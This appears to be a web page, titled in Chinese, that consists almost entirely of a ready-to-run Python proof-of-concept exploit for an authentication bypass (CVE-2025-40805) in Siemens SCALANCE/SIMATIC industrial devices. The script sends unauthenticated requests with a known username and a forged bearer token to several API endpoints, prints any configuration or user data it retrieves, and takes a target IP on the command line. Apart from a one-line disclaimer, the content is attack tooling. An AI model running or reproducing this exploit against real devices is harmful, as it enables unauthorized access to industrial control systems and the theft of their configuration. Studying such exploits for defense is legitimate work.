西门子设备API身份验证绕过漏洞(CVE-2025-40805)

import requests import sys # CVE-2025-40805 PoC - Siemens Device Authentication Bypass # Target: Affected Siemens SCALANCE/SIMATIC devices # Note: This PoC is for educational and authorized testing purposes only def exploit_auth_bypass(target_ip, target_port=443, username='admin'): """ Exploit authentication bypass on Siemens device API endpoints Args: target_ip: Target device IP address target_port: Target device port (default: 443) username: Known legitimate username (required for exploitation) Returns: bool: True if exploitation appears successful """ base_url = f"https://{target_ip}:{target_port}" # Step 1: Identify vulnerable API endpoint vulnerable_endpoints = [ "/api/v1/system/config", "/api/v1/users/current", "/api/v1/settings/network", "/api/v1/admin/users", "/api/v1/diagnostics/status" ] headers = { "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Siemens-SIMATIC-Industrial-Client/1.0" } print(f"[*] Starting authentication bypass attempt on {target_ip}") print(f"[*] Using known username: {username}") # Step 2: Attempt to bypass authentication for endpoint in vulnerable_endpoints: url = base_url + endpoint # Craft request with known username but without valid session # The vulnerability allows bypassing authentication with just the username exploit_payload = { "username": username, "action": "get_config" } try: # Send request without authentication headers response = requests.post( url, json=exploit_payload, headers=headers, verify=False, timeout=10 ) # Check for successful bypass indicators if response.status_code == 200: data = response.json() if "config" in data or "user" in data or "settings" in data: print(f"[!] AUTHENTICATION BYPASS SUCCESSFUL on {endpoint}") print(f"[!] Retrieved sensitive data: {data}") return True except requests.exceptions.RequestException as e: print(f"[-] Error on {endpoint}: {str(e)}") continue # Step 3: Try GET request with username in header print("[*] Trying alternative bypass method...") alt_headers = { **headers, "X-Username": username, "Authorization": f"Bearer {username}_fake_token" } for endpoint in vulnerable_endpoints: url = base_url + endpoint try: response = requests.get(url, headers=alt_headers, verify=False, timeout=10) if response.status_code == 200 and len(response.text) > 100: print(f"[!] Potential bypass via GET on {endpoint}") print(f"[!] Response preview: {response.text[:200]}") return True except: continue print("[*] Exploitation completed. Check results above.") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-40805.py <target_ip> [port] [username]") print("Example: python cve-2025-40805.py 192.168.1.100 443 admin") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 443 user = sys.argv[3] if len(sys.argv) > 3 else "admin" exploit_auth_bypass(target, port, user)